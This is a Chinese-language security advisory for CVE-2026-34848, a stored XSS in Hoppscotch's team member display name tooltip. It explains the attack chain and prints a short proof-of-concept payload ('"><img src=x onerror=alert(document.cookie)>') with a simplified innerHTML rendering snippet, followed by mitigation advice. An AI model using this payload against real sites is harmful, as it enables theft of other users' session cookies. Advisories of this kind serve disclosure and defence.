IPBUF安全漏洞报告
English
CVE-2026-34848 CVSS 5.4 中危

CVE-2026-34848 Hoppscotch 存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34848
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Hoppscotch

相关标签

存储型XSSHoppscotchWeb安全CVSS-5.4跨站脚本

漏洞概述

Hoppscotch是一款开源API开发平台。在2026.3.0版本之前,系统存在一处存储型XSS漏洞。该漏洞源于对团队成员“显示名称”的处理不当,当用户鼠标悬停在溢出工具提示上时,恶意脚本将被执行。攻击者可借此窃取管理员的会话令牌,进而控制整个API开发环境。

技术细节

该漏洞源于Hoppscotch在渲染团队成员“显示名称”时的DOM操作逻辑存在缺陷。具体而言,应用程序未对用户可控的显示名称字段进行严格的HTML实体编码或使用安全的上下文感知渲染策略。攻击者首先注册或修改账户,将构造的恶意载荷(如`<img src=x onerror=alert(1)>`)注入到显示名称中。由于这是存储型XSS,恶意数据被持久化保存在数据库中。当其他团队成员访问团队管理页面时,前端JavaScript在处理UI溢出逻辑时,直接将受污染的数据插入到了DOM树中。当用户触发工具提示交互时,浏览器解析并执行了其中的恶意脚本。鉴于CVSS评分中的PR:L(低权限)和S:C(范围改变),低权限攻击者可利用此漏洞针对高权限用户进行攻击,窃取Cookie或执行API请求。

攻击链分析

STEP 1
步骤1:载荷构造
攻击者注册一个账户,并在个人资料的“显示名称”字段中输入包含JavaScript代码的恶意payload(例如:"><img src=x onerror=alert(1)>)。
STEP 2
步骤2:数据存储
Hoppscotch服务器将包含恶意代码的显示名称保存到数据库中,未经过滤或转义。
STEP 3
步骤3:触发渲染
当管理员或其他团队成员查看团队页面,并将鼠标悬停在攻击者的名字上以查看溢出工具提示时,前端应用从服务器获取数据并直接渲染HTML。
STEP 4
步骤4:执行攻击
受害者的浏览器解析工具提示中的恶意HTML/JS代码,导致XSS攻击执行,攻击者可窃取Session或执行敏感操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34848 (Stored XSS in Hoppscotch) Description: Injecting malicious script into the 'Display Name' field of a team member profile. --> <script> // Step 1: Attacker updates their profile via API/UI // The payload contains an XSS trigger that executes on hover or load in the tooltip. const xssPayload = '"><img src=x onerror=alert(document.cookie)>'; // Step 2: Simulate storing the payload in the database const userProfile = { username: "attacker", display_name: xssPayload }; console.log("[+] Payload injected into display name:", userProfile.display_name); // Step 3: Victim views the team member list // The application renders the tooltip without sanitization function renderTooltip(displayName) { // Vulnerable rendering logic (simplified) document.getElementById("tooltip").innerHTML = displayName; } // When the victim hovers over the name, the alert triggers // renderTooltip(userProfile.display_name); </script>

影响范围

Hoppscotch < 2026.3.0

防御指南

临时缓解措施
如果无法立即升级,建议限制团队成员修改个人资料中显示名称的权限,仅允许受信任的用户修改。同时,可在Web应用防火墙(WAF)中部署规则,检测并拦截针对用户名字段的常见XSS攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表